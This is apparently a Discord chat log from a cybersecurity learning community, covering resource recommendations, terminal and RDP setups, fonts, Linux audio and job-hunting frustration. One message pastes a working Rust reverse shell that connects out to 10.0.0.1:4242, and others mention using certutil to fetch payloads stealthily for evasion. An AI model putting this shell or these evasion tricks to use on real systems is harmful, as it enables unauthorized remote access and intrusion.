general

[sturdy pike]

thanks guys!!

[full agate]

sudo hacker spotted

[strange gazelle]

Hi I'm trying to fuzz iot protocols for getting into security research.I don't have any experience in security research but know my way around networks and security (seedlabs,exploitedu).I don'tknow how to fuzz protocols to find vulnerability, how do I approach this as a research topic? My approach wos just read papers but that isn't getting me anywhere.Also what are the prospects in fuzzing research like what can I research by fuzzing iot protocols ,what are possible research areas , what is the chance of me finding a vulnerability using fuzzing approach and what can I infer as research worthy conclusions

[sturdy pike]

Done for the day!

Good night everyone,
have a cookie 🍪

[full agate]

Good night dude
~$ exit

[karmic hemlock]

I see bell peppers in chat 🧍‍♂️

[mellow gull]

What is that face

[grizzled wing]

terror

shock

amazement

[mellow gull]

That is the face of a creature that has never experienced genuine joy

[grizzled wing]

a sandwich with sudo privileges

[rugged kayak]

https://tenor.com/view/war-vietnam-ptsd-shell-shock-moment-gif-3022747568394546158

[karmic hemlock]

I've been lacking on THM as of late ngl

[grizzled wing]

its ok,

[cloud quiver]

Great job , seems like you're on a streak today 😄

[karmic hemlock]

Waiting on bro to finish that thought

[sick lance]

Ah you're returned.

[mellow gull]

Sloboda is The Returned

[rugged kayak]

yep

[sick lance]

Can you please DM Jabba?

If he hasn't reached out to you.

[rugged kayak]

he did not i think

or maybe i didnt get the message because of some skill issues

[sick lance]

Possibly a privacy setting.

#general message

[rugged kayak]

7 hearts, damn i am popular around here

[mellow gull]

It was very unfortunate to see you go.

But now you're back.

[sick lance]

I missed the whole context of why you left, just that you had.

[mellow gull]

Particularly caustic chatters, tldr

[upper minnow]

Oh fr?

We popping the biggest bottles tonight

[sick lance]

Is this for school/college/uni?

[sick lance]

Ssean was banned.

[rugged kayak]

well tldr is i cant handle amount of brainrot this chat can produce sometimes and all trolls being left with slap on the wrist

thats basically it

[karmic hemlock]

I must have not been here in a while

[rugged kayak]

man just needs to chill sometimes

[sinful moon]

It comes and it goes depending on time of day and who all is around lol

[sick lance]

Ah, that would be why Jabba would you like you to reach out.

[rugged kayak]

i neither want or can to stay in unproductive place where there is drama 90% of the time

[sinful moon]

But yeah I’m here for the actual intelligent discussions which I’m quite happy to have here

[rugged kayak]

me too

thats why i didnt want to perma leave

i met some great people here

[sick lance]

Yeah. I've also met some right roasters.

[mellow gull]

I think that's a consensus a lot of the chat has reached. When THM chat is nice it's nice, but it has high highs and looooooow lows

[chilly veldt]

[sick lance]

Oops, that's my Scottish showing.

[chilly veldt]

just had some nice pulled pork, also a good roast

[boreal scarab]

https://tenor.com/view/doritos-glitch-bocchi-the-rock-dorito-glitch-infinite-glitch-respawn-gif-1525519049010070487

[upper minnow]

Being annoying should be a bannable offense

[sinful moon]

I personally think gif spam is annoying as heck, but we still want Berry around

[rugged kayak]

no, being dick should be

[mellow gull]

Not sure about bannable. Maybe the guidelines on muting should be broadened a little bit to include some of the blatant cases, but that's not for me to decide

[rugged kayak]

annoying is subjective

being moron is not

[sinful moon]

That’s low key a rule in most communities, although phrased a bit more tactfully lol

[rapid merlin]

Just allow people to be.

[wide summit]

man this website is paid :(

[rugged kayak]

not enforced enough in my opinion

[naive violet]

The problem is this is an educational environment.
Some people do not understand what behaviour is appropriate

[rapid merlin]

It’s not fully paid.

[sinful moon]

Nah laissez-faire moderation doesn’t work lol

[naive violet]

The majority of the content is free.
Avoid the learning paths, go via the other content

[wide summit]

i know but i cant continue in some lessons because some of the rooms are paid

[wide summit]

oh okay

[rugged kayak]

i understand wording is different but i just am not able to find any nicer words that can better express how i feel about certain types of people

[sinful moon]

You can filter in the search for just free rooms and more, the room search is very powerful

[wide summit]

thank you

[sinful moon]

but I will say, imho a sub is worth it, if it is viable for you to do so

[wide summit]

i dont have money im a minor

[sinful moon]

I got into THM to brush up on infosec after landing a position and it’s been invaluable teaching me many topics and tools I use daily at work

totally fair

[wide summit]

i sometimes log on THM to learn some stuff, school takes a lot of my free time

so getting a sub isnt worth it if i cant log on that often

[sinful moon]

mhmm, still hundreds and hundreds of free rooms off the beaten path

I’d say a majority of TMH’s content in total isn’t actually listed in current learning paths anymore for one reason or another

[opaque flax]

There’s also hundreds of free resources outside of thm to learn on too

[sinful moon]

Just be warned some will be higher quality than others

mhmm

[opaque flax]

You could honestly probably learn cybersecurity without paying a dime

[rugged kayak]

paths are paid, but most of the ctf rooms are free

[wide summit]

really? like what?

[sinful moon]

HackTricks Book site is fantastic

[rugged kayak]

shout out to pwn college

[sinful moon]

https://book.hacktricks.wiki/en/index.html

[opaque flax]

Portswigger academy is a good place to learn web pentesting

[sick lance]

Probably one of the best.

[opaque flax]

Hacker recipes too

[upper minnow]

👀👀

[opaque flax]

Been a god send for AD ctfs

[sick lance]

Especially hackricks

Hacktricks, lolbas and gtfobins are probably my most 3 vistited sites for resources

[upper minnow]

Ive been slowly reading on gtfo

[wide summit]

wow

[sinful moon]

PayloadAllTheThings is a great cheatsheet as well: https://swisskyrepo.github.io/PayloadsAllTheThings/

[wide summit]

whats with the binaries?

[sinful moon]

Erm here we go: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/

[rugged kayak]

revshell is nice too

[opaque flax]

Wdym what is it with the binaries?

[karmic hemlock]

Gotta lock in today and complete 20 rooms so I can get to 0xD

[wide summit]

like what are those?

[sinful moon]

lolbabs and gtfobins are for exploiting common system software for evasion and more

[opaque flax]

Programs basically

[wide summit]

ohhhh

im a noob sorry

[sinful moon]

lolbabs are for Windows ant gtfobins are for Linux

No worries, that’s what THM is here for!

[sick lance]

They're great for living off the land too.

[sinful moon]

mhmm

[karmic hemlock]

I always read gtfobins as a swear

[sinful moon]

You’re significantly more sealthy if you use built in system software for exploits and etc

[tame bane]

you got this

[wide summit]

hm, well i cant wait to understand all of this stuff, it sounds really interesting

[wide summit]

good luck

[sinful moon]

a simple but fun example, Windows certutil can be used to base64 encode/decode and download your payload in a sneaky way

Despite being designed just to handle certificate management on Windows Server

[wide summit]

i dont want to be mean youre really helpful but i dont know what youre talking about this is too advanced for me😭😭

[opaque flax]

You’ll get there

[sinful moon]

No worries, THM even has rooms on this and similar

[rugged kayak]

you will understand in no time no worries

[tame bane]

logs that connect to shells are very obvious if not encoded to blue team people

[sinful moon]

but yeah lolbabs shows you how common built in software can be abused like this

[chilly veldt]

I broke youtube lmao

[sinful moon]

as referenced above, it’s called “Living off the Land” since you’re just using the software that’s already on your target machine

[sick lance]

^ This could be helpful in an AD setup

[sinful moon]

Just you wait, if you keep at this long enough and Microsoft defender starts detecting your own Markdown note files for the reverse shells and other common exploits, then you’re doing it right lol

Speaking of AD but thinking from defender/blue team perspective, PingCastle and PurpleKnight are fantastic software packages for auditing your AD security. Also used for offensive purposes in real threat actor campaigns, despite how noisy they are

[sinful bobcat]

[sinful moon]

Actually thinking of that, I need to run PingCastle on our new client’s AD infra to see how that stacks up on Monday

[chilly veldt]

good luck

[sinful moon]

I’ve seen some horrors uncovered in the past like service account tied Domain Administrator back in Server 2003 which would have allowed for easy escalation had I not wiped that connection out

[tranquil comet]

I need to read more about active directory stuff as i did the module but was still super confused

[sinful moon]

I can’t remember what the word for that is, just bringing that up off the top of my head

[tranquil comet]

🧠 🔥

[fiery imp]

I disappear after droping a 'wadupp'

How're you KGB

[sinful moon]

spotted the iOS user c:

[cloud quiver]

Thanks for asking good , how about you 🙂 ?

[twin ridge]

Gave +1 Rep to @fiery imp (current: #606 - 9)

[fiery imp]

I'm good mate

[sinful moon]

@sick lance please see above

[cloud quiver]

Glad to hear that 🙂

[grim sparrow]

Done!

[sinful moon]

Danke!

[sick lance]

Thanks 😄

[twin ridge]

Gave +1 Rep to @sinful moon (current: #34 - 280)

[fiery imp]

Just did this room on thm
https://tryhackme.com/room/dailybugle

[sick lance]

When one appears, I'm expecting more.

[cloud quiver]

Old but gold 🙂 .

[sinful moon]

Yet again a reminder that if you don’t feel like removing the embed after the fact, you can encapsulate links with < > to remove the embed

[fiery imp]

Yeah

[fiery imp]

ohh..my bad. I'll do that

[sinful moon]

Would be cool if THM embeds actually showed room info tho

Yeha no worries, I’m just being anal since it takes up so much room lol

[fiery imp]

Ty for letting me know!

[twin ridge]

Gave +1 Rep to @sinful moon (current: #34 - 281)

[rugged kayak]

btw i tried the ssh proxy you mentioned when you talked about your arch box

[sinful moon]

Anyways back to my point, I do hate how iOS keyboard doesn’t actually use the true ` backtick in its keyboard in an effort to be typographically correct

[rugged kayak]

i like it so much

never looked back honestly

that whole setup is just amazing

[sinful moon]

Although laughs on iPad with logitech physical keyboard where I can do proper nmap style backticks all day long

Although that brings me around to my next complaint, it’s been years now Discord, when will mobile get code block syntax highlighting?

It’s especially silly on iPads where this looks like the full desktop interface for Discord, but still can’t do some niche Desktop features like that due to a completely different software stack

you can see this with pretty formatting on Desktop, and I can create this via mobile, but I can’t see the syntax highlighted result lol

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("10.0.0.1:4242").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

[wooden totem]

for all the mobile users

[sinful moon]

lol thank you, like I even set it up to do that but I couldn’t see the pretty results without another machine

(Just a Rust reverse shell since I still had PayloadAllTheThings open from ealier)

Ouch using unsafe on Rust but it’s understandable in this case

[sinful moon]

Oh yeah, how did that work out? Probably just fine I’d gather

[shut hawk]

My mobile device is clearly superior

[sinful moon]

nice sideloading bro lol

[shut hawk]

lmao I'm not

[sinful moon]

what did they actually add it to react on Android only?

[sick lance]

I think it's iOs that doesn't do code blocks as pretty as Android

[sinful moon]

For years and years Android couldn’t either

so that must have changed in the two years since I switched

[shut hawk]

Trust me if I were to be side-loading it I wouldn't post it publicly on here

[sick lance]

I remember telling you this 😅

[rugged kayak]

worked out surprisingly well ngl, workflow got a lot more easier ngl

[sinful moon]

Yeah I just use aliases to automate it and call it a day, it’s lovely

[rugged kayak]

since i dont have to switch from vm to host every 10 minutes

[sinful moon]

mhmm

my VM doesn’t even have a graphical display so it’s invaluable to ssh tunnel either web traffic or RDP traffic locally

[rugged kayak]

kvm vms are pretty seamless but its lot nicer when i can just use terminal on host with tmux

[sinful moon]

mhmm, I do love me some qemu/kvm, with Proxmox being my current home lab virtualization host

[rugged kayak]

i run burp on host

rpd works nice over proxy too

everything just works

[sinful moon]

mhmm, I typically do this on my side work from home Mac Mini and it just werks once Burp and Microsoft RDP is setup

I wish Remenemia RDP client or however you spell it was avaliable on Mac though

so freaking good on Linux

[rugged kayak]

although i am a bit sad because caido has some issues with remote dns

[sick lance]

"Remenemia" 😂

[sinful moon]

lol an attempt was made

[sick lance]

It's such a stupid word for a tool.

I don't know who many times I give two n and two m's

[rugged kayak]

i couldnt find proxy option in remmina due to skill issues 😭

[sick lance]

I ended up just creating an alias 😂

[rugged kayak]

but i found xfreerdp has proxy option

[sinful moon]

It’s the same way as you’re doing now, once you set up the ssh tunnel for RDP traffic, just tell it to target 127.0.0.1:13389 or whatever

[rugged kayak]

i just do this

[sinful moon]

you don’t need that feature built in, I literally just use the Microsoft RDP client on macOS to do this

[sick lance]

I also stuck it in the panel

[rugged kayak]

i run headless as of right now

[sinful moon]

my third line there

you have to edit the 11.11.11.11 with your target IP each time

with 10.10.10.10 being your attack machine/VM

[rugged kayak]

xfreerdp /v:10.129.201.55 /u:htb-student /p:HTB_@cademy_stdnt! /proxy:socks5://127.0.0.1:9050 /f

i just do this for now

works fine

[sinful moon]

mhmm that is for sure another way to do it, but this works with all RDP solutions under the sun

[rugged kayak]

and as for proxy i do this

alias kaliprox="ssh -i ~/.ssh/kali -D 9050 -q -C -N styx@kali -f"

[sick lance]

https://adrian15sgd.wordpress.com/2012/11/21/remmina-for-mac-os-x-build-instructions/

[sinful moon]

Oh I’m sure you can but laughs at Mountian Lion era and basic GTK2 UI there

[sick lance]

[sinful moon]

But also I don’t really have a need for it

I was just having fun whining

[sick lance]

Your words, not mine. 😄

[sinful moon]

mhmm lol

But yeah I will say macOS makes for a fantastic *nix and infosec companion in my work from home setup. I have it on our personal network instead of the work network so I can verify firewall rules and more in a completely unconstrained/not allow listed enviroment

Although lol 95% of that is just sshing into my real Linux pentesting server anyways

[rugged kayak]

also one big thing that this helped me with is being able to reduce amount of resources that i need for vm

[sinful moon]

but yeah I set up a similar Virtual Private Server at work for OpenVAS vuln scanning of our clients which isn’t allow listed at all

mhmm headless Linux VMs and servers are just love

I do hope you’re using our lord and savior tmux when you’re working on these

[rugged kayak]

but i still gave it 8 cores 😂

[sinful moon]

lolol

[rugged kayak]

of course

cant live without tmux

[sinful moon]

Yeah I over provisioned my first VPS for pentesting, I think 4 cores and 2GB of RAM or so, but still love it

[rugged kayak]

8 cores just for the memes and 4GB of ram

since i decided mid installation i will do headless

[sinful moon]

actually I can check via my last screenshot of it

Yeah I was correct there

https://cdn.discordapp.com/attachments/680459914828972076/1329663052030672927/Screenshot_2025-01-16_at_7.png?ex=67b35e77&is=67b20cf7&hm=b73a8da45b61a348313313309fd6a1ca68b52cf22f16d0369ed22e95e4647973&

my tmux setup at the bottom there

[lament tendon]

How do you get this terminal frame thingy, by the way?

[rugged kayak]

mine is default with just changed color

[lament tendon]

I see these screenshots all the time and I always wonder how to.

[sinful moon]

frame thing? That is just tmux?

[rugged kayak]

thats mac i think

[lament tendon]

Including the window menu with the buttons at the top?

Ah, fair.

[sinful moon]

Oh if you mean the alpha transparency in the png that’s just via built in Screenshot utility in macOS

[lament tendon]

Prolly just a window screenshot then.

[sinful moon]

mhmm

[rugged kayak]

is tmux status transparent or black

[sinful moon]

iirc I set it to black or none. I ported my classic .screenrc theme by hand

[lament tendon]

Man, I fully committed my Desktop to Arch today, and while everything works as intended, I am missing UTF-8 icons again, arghghgh.

[sinful moon]

noto-font and noto-fonts-emoji, optionally noto-fonts-cjk if you run into eastern languages tons

Then just use noto-fonts as system UI and call it a day tbh

[rugged kayak]

only issue i have with it is this

[lament tendon]

Already got all of nerd-fonts installed, want to go for font-awesome as well. That should cover everything.

[rugged kayak]

when terminal sometimes goes whack

[lament tendon]

But do I install ttf-font-awesome or otf-font-awesome?

[rugged kayak]

and status doesnt sit perfectly at the bottom

[sinful moon]

ttf is fine, otf vs ttf is kind of up to you

TTF is more well supported by all OSes, OTF is more open but limited support

[lament tendon]

Yea, reading up on the difference right now.

[sinful moon]

for Linux it more or less doesn’t matter

[lament tendon]

OTF it is.

[sinful moon]

mhmm totally fair

[lament tendon]

If it breaks Imma just swap it.

[lament tendon]

Thanks for the input tho. ^_^

[twin ridge]

Gave +1 Rep to @sinful moon (current: #34 - 282)

[sinful moon]

but do install something that covers most of UTF-8 and best canidate for that is Google Noto fonts

mhmm np!

[rugged kayak]

you can always be like me

[sinful moon]

whew

[lament tendon]

I do think I already got you beat on that.

Dunno how large the nerd font collection is, but I just installed the entire package group.

[sinful moon]

Even when I’m in my graphic design obsesions (nearly went into it) I never had that many fonts

[lament tendon]

Also Fira Code, best coding font.

[sinful moon]

But yes typography and the theory, design, and tech behind it are things I’m a huge nerd for

[sinful moon]

I use Hack which is very similar to Fira Code

[rugged kayak]

jetbrains or iosevka

fira is mid

[sinful moon]

But yeah I prefer Hack due to some changes and more vs Fira Code

[lament tendon]

Well.

Turns out there's a lot of fonts.

[sinful moon]

that’s barely scratching the surface even in Arch

[lament tendon]

But does that do the cool thing where it turns -> into a single character arrow and != into a crossed out =?

[sinful moon]

we call those programming ligatures

[lament tendon]

This is why I like Fira Code.

[orchid pawn]

I started Linux it’s not so difficult right?

[sinful moon]

I personally don’t like them because they are less clear than the literal characters

[lament tendon]

Naa, you'll be perfectly fine.

[sinful moon]

Just be prepared to learn as you would with any new OS, and best way to learn is just using it

[rugged kayak]

i use iosevka

[lament tendon]

Fair, I suppose, different taste. The great thing is that nobody qho does not also use a font like that will see the recoded characters.

[rugged kayak]

i like tall letters

[sinful moon]

when you have a question, just google it, there’s thousands of results for any question you will have

[lament tendon]

I see it has the same features.

[rugged kayak]

idk how to describe it

[orchid pawn]

Perfect

[lament tendon]

Can you gimme a screenshot?

[rugged kayak]

all nerdfonts do

[lament tendon]

Ask a lot of questions.

[sinful moon]

I used to swear by the bitmap font Profont which is just lovely, but with resolutions increasing and UTF-8 getting more important I finally made the switch to TTF about a decade ago

[rugged kayak]

its not tall but idk how to describe it

[sinful moon]

so so so much has changed even just in the 18 years of Linux use I’ve had alone

I started out with sys v init and HAL, urxvt, screen, archfetch.sh, kernel 2.6.26, ALSA instead of Pulse or PipeWire, etc etc

vim instead of neovim, a lot of these I had to be convinced “fine, it’s finally time for me to change” other upgrades I was excited about

[lament tendon]

That's why I asked you to show it.

[sinful moon]

PipeWire I adopted as soon as it was made standard in Fedora, frick PulseAudio

[naive violet]

kernel 2.6
That's fine, IoT stuff still uses that lol

[sinful moon]

lolol

You’re sadly not wrong

that’s some mid 00s vibes right there

[lament tendon]

Pulseaudio works for me, I suppose.

[sinful moon]

Literally no reason not to use PipeWire since it’s a drop in replacement

[lament tendon]

More familiar with its CLI controls.

[sinful moon]

jut with lower latency and better fundimentals

[grizzled wing]

PipeWire

[lament tendon]

Argh, ok, sure, I'll look at it.

[sinful moon]

Nice, yeah I highly recommend it

Plus it’s how Wayland screen recording permissions work and more

[lament tendon]

Any good CLI tools for it?

Need hyprland keybinds for volume control.

[sinful moon]

yes there’s similar terminal UIs as before

or yes just raw things you can use for keybinds

[lament tendon]

Not looking for TUIs.

[sinful moon]

you can even use the same pulse commands probably and it will respond, I’d wager at least

[lament tendon]

Hmm, doubtful.

[sinful moon]

you can use Pulse UIs with PipeWire without the app knowing the difference

[lament tendon]

pactl seems like a very PulseAudio specific thingamajig. xD

[lament tendon]

Wait, you can?

Wild.

[sinful moon]

nah that will work with PipeWire

literally a drop in replacement

[lament tendon]

I see, I see.

[rugged kayak]

# audio controls
binde = ,XF86AudioLowerVolume,exec, pactl set-sink-volume @DEFAULT_SINK@ -1000
binde = ,XF86AudioRaiseVolume,exec, pactl set-sink-volume @DEFAULT_SINK@ +1000
bind = ,XF86AudioMute,exec, pactl set-sink-mute @DEFAULT_SINK@ toggle
bind = ,XF86AudioMicMute,exec, pactl set-source-mute @DEFAULT_SOURCE@ toggle

this works for me

[lament tendon]

Well, that is awfully convenient.

[sinful moon]

as long as it’s all client side Pulse stuff, it works with pipewire

[lament tendon]

Ah cool, I got more or less the same setup.

One moment, Imma just swap it out and see whether everythng still works.

[sinful moon]

lol inb4 everything breaks, but it historically hasn’t for me

just make sure to follow Arch Wiki PipeWire guide when doing so

[lament tendon]

The heck.

[shut hawk]

hehe

[lament tendon]

Guess I'm not disableling it?

[grizzled wing]

that song and video is good

[sinful moon]

that’s a common issue due to the symlinks iirc

[lament tendon]

Well, there is, but according to everyone around me, there is a better way to have sound. xD

[loud marlin]

@Bit

# Fn keys
bind = , XF86MonBrightnessUp, exec, brightnessctl -q s +5% # Increase brightness by 5%
bind = , XF86MonBrightnessDown, exec, brightnessctl -q s 5%- # Reduce brightness by 5%
bind = , XF86AudioRaiseVolume, exec, pactl set-sink-volume @DEFAULT_SINK@ +5% # Increase volume by 5%
bind = , XF86AudioLowerVolume, exec, pactl set-sink-volume @DEFAULT_SINK@ -5% # Reduce volume by 5%
bind = , XF86AudioMute, exec, wpctl set-mute @DEFAULT_AUDIO_SINK@ toggle # Toggle mute
bind = , XF86AudioPlay, exec, playerctl play-pause # Audio play pause
bind = , XF86AudioPause, exec, playerctl pause # Audio pause
bind = , XF86AudioNext, exec, playerctl next # Audio next
bind = , XF86AudioPrev, exec, playerctl previous # Audio previous
bind = , XF86AudioMicMute, exec, pactl set-source-mute @DEFAULT_SOURCE@ toggle # Toggle microphone
bind = , XF86Calculator, exec, ~/.config/ml4w/settings/calculator.sh # Open calculator
bind = , XF86Lock, exec, hyprlock # Open screenlock
bind = , XF86Tools, exec, alacritty --class dotfiles-floating -e ~/.config/ml4w/apps/ML4W_Dotfiles_Settings-x86_64.AppImage # Open ML4W Dotfiles Settings app

bind = , code:238, exec, brightnessctl -d smc::kbd_backlight s 5+
bind = , code:237, exec, brightnessctl -d smc::kbd_backlight s 5- 

[lament tendon]

Wait, now I am confused.

Why are they both running?

[sinful moon]

lol pipewire probably got pulled for something else as a dep

[lament tendon]

Thanks to you as well, my current set of keybinds already works.

[twin ridge]

Gave +1 Rep to @loud marlin (current: #25 - 389)

[lament tendon]

^_^

[sinful moon]

Meanwhile I’ve gotten less cool and just configure my keybinds in my DE

[lament tendon]

Still sort of want to disable the pulseaudio daemon to see what happens.

[sinful moon]

just lol do consult the wiki to prevent breakage as I mentioned

[lament tendon]

But I cannot because I don't know it's damn name, whahaha.

[sinful moon]

they should have info for dealing with existing Pulse

[lament tendon]

Wiki is a good call.

[wide summit]

Thanks guys

[twin ridge]

Gave +1 Rep to @rugged kayak (current: #213 - 36)

[wide summit]

Sorry i was eating

[loud marlin]

if you disable one. you need first to tell what of that two to use as default before disable one

[lament tendon]

Right, the daemon runs in userspace.

systemctl --user stop pulseaudio did the trick.

[rugged kayak]

ay my rep was saved nice

[sinful moon]

yep there you go and that makes sense

lol thinking of my ancient Arch history lets see if I can find that screenshot

lol there we go, Openbox and Arch back in 2008

[lament tendon]

That is so tiny and also square for some reason.

Very clean and minimalistic tho.

[sinful moon]

it’s because it’s on a 1600x1200 4:3 screen on a Dell laptop from 2002

which is a crazy high res for the era

even in 2008 tbh

[wind lake]

hi elizabeth

[sinful moon]

heya!

[wind lake]

how ya doing

[sinful moon]

Pretty well, enjoying a lazy sunday chatting here and having rain white noise via iOS accessability features

[wind lake]

very moce

nice

im working on a bit of music rn

[sinful moon]

If anyone didn’t know, this is built into iOS and macOS, and you can put a hearing accessibility option in control center for easy access:

[wind lake]

cool i didnt know!

[sinful moon]

Yeah kinda killer hidden feature

[lament tendon]

Alrighty, that was easy.

Audio now runs on pipewire.

[sinful moon]

Yep, literally drop in replacement, glad to hear it!

[lament tendon]

Just gotta add that to my ansible setup thingy now.... Urgh.

[sinful moon]

everything that references ALSA, PulseAudio or JACK APIs will now be interacting with PipeWire transparently instead

[lament tendon]

When I choose pipewire during archinstall, will it still ship with pactl?

[carmine tinsel]

good afternoon

[lament tendon]

Good afternoon.

[sinful moon]

I don’t think so but you can install pactl on its own anyways I believe

[lament tendon]

Well....

Not really, maybe from the AUR?

I don't like the AUR.

Wonder what the corresponding tool for pipewire is, might as well fully commit at this point.

[sinful moon]

Yeah just read the wiki tbh

but psh not liking the AUR makes you slightly unhinged

I can understand it for this specific case but whew

That’s like part of the whole appeal of Arch

I was an AUR maintainer for multiple packages for years

[lament tendon]

I think it's cool what sort of stuff you can install from there very easily, but I have trust issues regarding the security of the packages. xD

[lament tendon]

Ok, wiki also says pactl. Guess they are not replacing that part of the setup.

[sinful moon]

that’s why you always read the PKGBUILDs which solutions like yay/paru force you to

[lament tendon]

Yea, I know.

Paru is lovely.

[sinful moon]

mhmm that’s my current solution. I’m loosely an acquaintance with the dev

[sinful bobcat]

This is taking longer than I expected

[sinful moon]

I will be honest though, I’ve used so many AUR helpers over the years as times change I just have an alias for update lol

[lament tendon]

I do that as well.

search and pinstall (had to, because install is a command already), and update and so on. xD

[sinful moon]

Congrats! You can force the update to happen on Discord by re-registering your Discord to THM verification

Otherwise, just wait a day

[rugged kayak]

you need 900 i need 6000 for next level

[fossil merlin]

Hey hacker pals uwu

[sinful bobcat]

I still need about 800 points

[rugged kayak]

hello hello

[sinful bobcat]

[fossil merlin]

How're we

[sinful moon]

Ah yeah I mistread that

[lament tendon]

I am missing like 20k, it does not get any better.

[sinful bobcat]

The scariest jump is the next one, from 20 to 35

That will take a bit

[sinful moon]

Maybe someday the roles higher than 0xD will actually have their own colors

[fossil merlin]

How has chat been the past few days?

[sinful bobcat]

Alive, wby ?

[rugged kayak]

we are waiting for admins to invent new colors

[lament tendon]

Anyways, just got this cool looking new game, so I will be playing that now.
Thanks for your help.

[sinful moon]

Same as it always has been lol

[upper minnow]

we are free from the ssean menace

[sinful moon]

no regrets there lol

[lament tendon]

Currently, they are all green. And also don't have access to the advanced channels.

[fossil merlin]

I swap between rage and moroseness

[rugged kayak]

it was great if you ask me 😂

[fossil merlin]

What happened?

[upper minnow]

idk i wasnt there

[fossil merlin]

Wahoo

[sinful moon]

If you’ve seen their interactions it only takes a tiny bit of imagination to understand how lol

[upper minnow]

part of me wishes i could see what broke the camels back but i shouldnt be this drama addicted

[sinful moon]

I think I was there for day one where they instantly stood up for a nazi troll right after they joined, and couldn’t actually defend their point beyond “free speech” lol. Discord is not free speech yo

[fervent pike]

Hello! Did you know that AI can analyze video like a human ex. basketball match and send information about it to user?

[upper minnow]

lol yea should have been banned first day

[fossil merlin]

Many such cases 😔

[dark mason]

Hellllloooooo chat!

[upper minnow]

are you a real person

[sinful moon]

I’d agree, but I can at least say that I can understand the moderators wanting to at least give them a chance

[dark mason]

Any dropped wallets?

[fossil merlin]

Hey, we should allow hate speech in a privately owned platform cuz uh ... My rights!

[upper minnow]

i carry everything on my purse

[fossil merlin]

I don't have any money leave me alone

[dark mason]

Awh man :(

[blazing granite]

free speech, doesn't mean free of consequences 😉 😂

[fallen burrow]

Good thing those people aren’t in a place of power in the US government

[sinful moon]

that too lol

that as well, erm I misread

[fossil merlin]

Yuh

[fossil merlin]

Hey lieutenant Kim, how are you?

[dark mason]

I am about to do late night ctfs

Yay!

[fossil merlin]

I have some uh, bad news tho, @fallen burrow

[fallen burrow]

I know I know 😦

[upper minnow]

couldnt sleep this night so im laying low for today

[fervent pike]

yupp 😉 just asking

[fossil merlin]

As a detective I don't sleep

[dark mason]

Wanna do ctfs?

[sinful moon]

Meanwhile poor Ensign Harry Kim never progressed in his role in seven years on a starship

[fossil merlin]

I live off of Alani and boiling showers.

[blazing granite]

the long arm of the law 😂

[fossil merlin]

Oh and vape juice.

[fossil merlin]

Oh I do PI OSINT type stuff, I'm not a LEO

[upper minnow]

which room?

[dark mason]

You got mail

[sinful moon]

If you’re serious, that’s really neat

[dark mason]

U like osint?

[fossil merlin]

Yuh. I help people find things.

It's not super glamorous and all above board.

[fossil merlin]

It makes me feel like I'm big brain

[sinful moon]

lol one of the things the Noir in my name is for is for Film Noir so no complaints

[upper minnow]

i havent done anything on phishing though

[sick lance]

Say potatoe.

[fossil merlin]

I have a cool jacket for it too.

[dark mason]

Wanna try my osint room then?

[sinful moon]

Can’t be a PI without a badass trench coat and etc

[shut hawk]

"Say Potato, Elizabeth"

[dark mason]

Neither have I!

Let's suffer together

[fossil merlin]

@sinful moon

[upper minnow]

ok then

[fossil merlin]

Sure I can try it when I get to studying TN or tomorrow

[dark mason]

But rn i am making food

[sinful moon]

Nice nice!

[upper minnow]

sure i gotta finish the episode im wwatching too

[fossil merlin]

My mom found it at a goodwill and I looked up the brand and it's website is sketch lmao

[sick lance]

0i, I said potatoe.

[sinful moon]

Potato Potato, same difference

[fossil merlin]

I gotta run a self defense class for my fellow gays then make some dinner.

So I may try the osint room later

[jolly aspen]

It’s pronounced potato tho

[fossil merlin]

Patatoh

[fading onyx]

I have really low motivation seeing that there are no job offers for juniors in cybersec of any kind be it pentest, SoC or Security Engineer. How can I motivate myself? Any ideas?

[whole gazelle]

what got you into this field in the first place

[silver sky]

SAY POTATOE

[dark mason]

Kk, one sec

[sinful moon]

whew just got a flash back to the mid 00s Flash vibes: https://youtu.be/ihMMw0rnKz4

[fading onyx]

I was doing it in the job I was laid off from but it was only basic stuff like threat modelling, risk registry maintaining and sla maintaining

If that was question for me

[whole gazelle]

yep i asked you, but i asked you this so you could reflect on yourself why you even started and find that spark that got you into this field in the first place

[sinful moon]

May want to try #cyber-and-careers though as this will probably get buried

[fading onyx]

Well I like cybersec but after 3 years of tedious paperwork I see that no one wants to hire me as I have zero experience so my motivation is hitting the ground right now. Second month and no job offers to apply for.

[rugged kayak]

i dont want to discourage you but cyber is not entry level field, you need at least some experience in IT

[fading onyx]

Tried, it's basically dead

[sinful moon]

I would highly agree with that

[fading onyx]

I have some experience in IT

[boreal scarab]

You're Bri'ish, you said Po'a'oe

https://tenor.com/view/bottle-of-water-saull-gif-26356875

[rugged kayak]

most SoC jobs require at least 1-2 years of experience, pentester is also mid-senior level position

[sinful moon]

Help Desk is often looked down on but it’s highly valuable experience. Swift On Security constantly talks about how he started in Help Desk and how it informs and helps him in his infosec roles

[sick lance]

Away back and make your tea in the microwave.

[boreal scarab]

https://tenor.com/view/get-away-satan-not-today-gtfoh-go-away-gif-22984661

[fading onyx]

Cool but how an you gain experience if no one want's to hire you to gain such experience?

you know the drill

[rugged kayak]

helpdesk mainly

[sinful moon]

Again you find those entry level jobs, but it sounds like you already have some experience under your belt

[sinful moon]

but either way it can help to just get your foot in the door

[fading onyx]

There are no entry level jobs there are only mid-senior as mentioned above

[sinful moon]

I very rapidly went from help desk to infosec and sysadmin after I proved myself at my current job

Smaller orgs can also help

[fading onyx]

This exactly

[sinful moon]

I’m at a very small org which kind of means you get to do it all, and looks amazing on your resmume, but be careful not to bite off more than you can chew

Windows sysadmin, Linux sysadmin, infosec everything, compliance management, devops, etc, I kind of do it all

[fading onyx]

I have worked as software tester for 2 years, programmer for 2 years, devops for 1 year and pseudo cyber sec for 3 years. No one wants to hire me.

[sinful moon]

I am literally the SOC manager… but lol our SOC is outsourced anyways

I’m just the final stop for that

[fading onyx]

they always say they want someone more experienced... -_-

yes

[boreal scarab]

https://tenor.com/view/thief-stealing-stole-cat-kidnapping-gif-13580660

Mine now

[upper minnow]

yea job hunging can take quite a while

[sinful moon]

